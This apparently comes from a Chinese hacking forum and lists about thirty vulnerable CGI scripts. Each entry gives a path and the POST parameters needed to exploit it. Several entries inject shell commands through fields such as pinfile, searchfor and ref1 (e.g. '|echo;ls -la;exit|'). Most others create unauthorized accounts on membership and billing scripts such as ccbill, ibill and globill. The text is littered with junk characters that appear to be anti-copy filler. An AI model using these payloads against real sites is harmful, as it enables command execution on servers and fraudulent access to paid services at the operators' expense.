Cgi-bin 30个漏洞＋使用方法

admin

==============================

/smspass.pl
8 S& n; C: ]6 G. O: A: P" @username=username&password=password
* S& i* e/ w; ^- [) E
/index.cgi
/ l2 l1 q, Q) ?. v8 {wei=ren&gen=command
  W" t4 J* C3 X5 V2 Q( J7 [
( r& ~6 J# _1 Z4 E/passmaster.cgi
Action=Add&Username=Username&Password=Password

/accountcreate.cgi
# F& {! ~7 A) ?7 _. K1 y. l( I! e) P8 Zusername=username&password=password&ref1=|echo;ls|
; p& p7 }% M5 n; s
/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

  N* k+ Z0 d3 V+ T+ u* Z  R/ C/addusr.pl
$ y% `4 V  Z5 T+ [0 B/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

: n  M! Z1 Z; g1 A/ccbill-local.asp
post_values=username:password
: z  q) U% j# x( X  N. \: V
/count.cgi
0 I% w, Q9 ~, X6 E: opinfile=|echo;ls -la;exit|

0 T7 ~  G& p: _  p/recon.cgi
/ Z+ D3 P' S6 _* e/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|

/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>

: H$ O  E' r+ C& ^/af.cgi
_browser_out=|echo;ls -la;exit;|
. q8 e$ S" X; C; x, \7 P! N
) z3 j( y+ K, T8 z6 u5 v7 i5 V/modify.cgi
9 t$ r# o1 ^! s4 f& M: O" yusername=username&password=password&expire=30

# o! `; ?# A4 u/openjournal.cgi
: ?6 Z. z' E! p' x- vedit=1&ct=2&go=|echo;ls -al;exit|

# w# @3 ?& D' _% \/ k/gx9passwd.cgi
6 r" _: T. B# ]! ~! lcmd=ADD&user=username&pass=password
& c2 t( Z, W7 C) W: I# z
7 B1 t0 }) [5 C/probecontrol.cgi
. T; z* s8 u  \2 G  Ocommand=enable&username=username&password=password
3 v9 V% i% z# F2 @* S( ?/ p
$ G) I& `# G% O6 A; Z/recon.cgi
# |+ h# ^) K" w- B9 E2 Asearchoption=3&searchfor=echo;ls -la;exit
% K: E) Q0 w4 t8 O" R* i9 z9 Z
/htadd.pl
configfile=|echo; ls -alt; exit

$ a, o- f2 K3 {+ t8 c/gx9passwd.cgi
/ O9 ^" A0 M, G5 M1 {) g0 [" {. vcmd=ADD&user=username&pass=password
: e# H" z2 w( ]# J: r) G
: F# C3 ~% H- O" y" ^5 w0 F) A/ibill*.pl
) s8 O* w% D8 u! p; oreqtype=add&authpwd=authpwd&username=username&password=password
, B  S/ p. n! E! W* J
/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)
, S9 j2 x8 K! ]4 |0 n% {8 [0 {
/globill_ut.cgi
1 o- d  h5 o% _9 N3 y5 Vdo=add&username=username&password=password&wpassword=password
6 s2 ^5 `$ C" `
/ E3 I% i5 E# H/ v7 A6 Y4 u7 C/usercontrol.cgi
command=enable&username=USER&password=PASS
2 E  W. z: Q7 R$ W5 I" c
/globoSALErum.cgi
6 U2 T, S9 r% }' C+ _% ~action=ADD&seccode=seccode&login=username&password=password
  G3 S& g: h4 [8 i% r
( C+ f/ {: s8 ?% q( _: \/addusr.pl
user=USER&pass=PASS&confirm=PASS

/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|
5 ~2 |3 A. Q. m8 G
/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit

/af.cgi
' \$ \/ H/ b! i( f/env.cgi
ADD+;echo;pwd;exit
( O5 ]3 ^- [& s' Z/ J) r# \
0 \( L, |2 v, p; L/count.cgi
  q- d. d( o% D( Mpinfile=|echo;pwd;exit|

6 U2 E* D( t0 I; r1 Y/recon.cgi
( u9 B! z7 @, t! ksearchoption=1&searchfor=|echo;ls%20-al;exit|
; S4 D/ o- l9 Y; V& u
/add.cgi
: y0 \" j" s% B/ ~: l. E8 A) V5 }username=username&password=password&expire=30
3 Q$ _' w) c) v. y4 w
& v/ l" j, `$ |' A0 k2 g9 f4 Y==============================
) P7 t% ?6 o7 n& \